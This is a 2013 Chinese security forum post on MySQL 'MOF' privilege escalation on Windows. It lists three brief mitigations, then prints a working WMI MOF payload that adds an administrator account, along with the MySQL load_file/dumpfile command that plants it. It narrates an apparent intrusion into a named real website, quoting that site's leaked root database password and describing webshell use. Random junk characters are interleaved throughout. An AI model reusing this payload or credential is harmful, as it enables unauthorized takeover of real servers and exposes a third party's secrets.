找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2349|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
7 A5 ]& ^2 b9 E! q, _7 |; f0 x; @0 s: J( Q; X5 O: V* K
网上公开的一些利用代码:, @4 N- {! g' U# \; W) T

! N. ]8 E: ~  K- x6 g6 l8 S#pragma namespace(“\\\\.\\root\\subscription”)
/ U+ h( W8 y; J/ i, r( q/ r5 ^
+ Y' z" r5 Z* {7 T  Y" Pinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };0 O0 v1 B$ D9 P3 [3 F
. B& t5 @1 z" P" Q) L$ E) p
7 r. Z0 i$ |" w5 n
5 M  q1 e! F5 g; ?; O  r1 _
/ u9 q& ~3 `$ C" [; r$ B' K
% C, U( \% r4 G& S
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- H6 F% N0 n6 Z! p
从上面代码来看得出解决办法:% a1 X* Y: B' g- a. }* D
& \* d+ [* [- {4 N' v4 }6 A; h
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
! G( B1 I+ ~4 x/ [# s" `
, P% W' h% V- y8 v( B8 u2、禁止使用”WScript.Shel”组件' i2 H1 t2 n' V+ f% X2 E: o  e) ?* s

% K7 d% n- l( ^' C  p3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
* r- ~; H. H8 M* v2 q; s" s5 c' |
' y  l8 z0 Q/ m/ N& q, m当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下+ q6 F4 j0 ~, m, f) V& I" J
& a  \  V( v$ I3 o- j! U$ @! y& J
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权4 K* G/ [% Z, `) l& U9 I2 h

% O" G9 [& p7 D7 r. C" Q( q0 O但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
1 r% @! m4 @2 u$ v! G6 D/ |" |0 m; m+ t2 J
看懂了后就开始练手吧
1 w& P" A! Q& p
& K. Q3 r$ h/ ~http://www.webbmw.com/config/config_ucenter.php 一句话 a
4 e  x- x3 N1 H% c) I  F6 x) V; ^3 ?4 B& D% l3 E
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。: p6 E. Z. ]: v8 t! n* K

* z, s$ Z. M/ ~! w0 \9 H3 h$ M/ S  u于是直接用菜刀开搞
* K9 W! g& z* R9 ?% l% a- z# ?; t% Z( w" _
上马先1 G, a4 o6 [/ q3 K' r4 }& n! f/ T. V
" c; W, i+ K0 A! g: t# `+ s
既然有了那些账号 之类的 于是我们就执行吧…….5 m! c1 p  ~$ Y0 a" L
& P3 P3 r- k. i! c) J0 G& N  T( }
小小的说下# c1 F& k  G  \4 l3 b

* ~2 l9 L. x. z- k在这里第1次执行未成功        原因未知
2 n7 k0 }; I2 z" h- n
% F# m( C/ m& J) a# K9 ?' a2 ?& B" ]) M6 Z我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
. b4 U# t9 O2 J" R* U$ `/ e! z! N' _
+ J+ I) }* E7 q' G" J#pragma namespace(“\\\\.\\root\\subscription”)
; p  q2 F' d0 e: ^" K7 m3 a6 p: j4 t& u- |( F7 \
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
3 h  d) t8 D, c! u0 d* q4 m/ c( O! E3 J5 ~9 d: d" p! X: z
我是将文件放到C:\WINDOWS\temp\1.mof) m( A: X5 K  E0 G1 V8 ]8 d) n& U
' K& {7 z) f( v; l2 @
所以我们就改下执行的代码/ B  D2 C- \1 \& u

2 E8 R8 L: s2 C: r% Pselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;# B( [) L) a( }+ |+ t
1 y- h* Q% \% A5 |
' }1 q# h6 f3 r0 }( p  R. ^! X

9 Z8 |; a6 c/ |7 {2 t8 \1 N; _但是 你会发现账号还是没有躺在那里。。$ Q! c% p" x5 K( q- Q
  M" s7 `2 h$ [$ v, C
于是我就感觉蛋疼
: u9 U4 i( C" w: u0 `$ D5 J7 u+ e" P4 z
2 s+ h& Y5 Z& E就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 z: ^9 h: e3 `4 y4 l7 W( T6 Y

/ r% d" L) x$ f2 C4 o! G  S/ S  h4 C  i1 \% z
7 N" Y* j/ S! }$ Y: `" o
但是其他库均不成功…
3 ^& `( h' e' [) t! D. H1 d4 j8 i" u) p
我就很费解呀 到底为什么不成功求大牛解答…
1 D8 P: q2 Z4 N; O1 x# U2 t
9 i- n& L- m, X5 e) O( s
* w4 D/ r3 ~, ~: r5 m5 h  u) _4 J/ Y) z  ^; ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表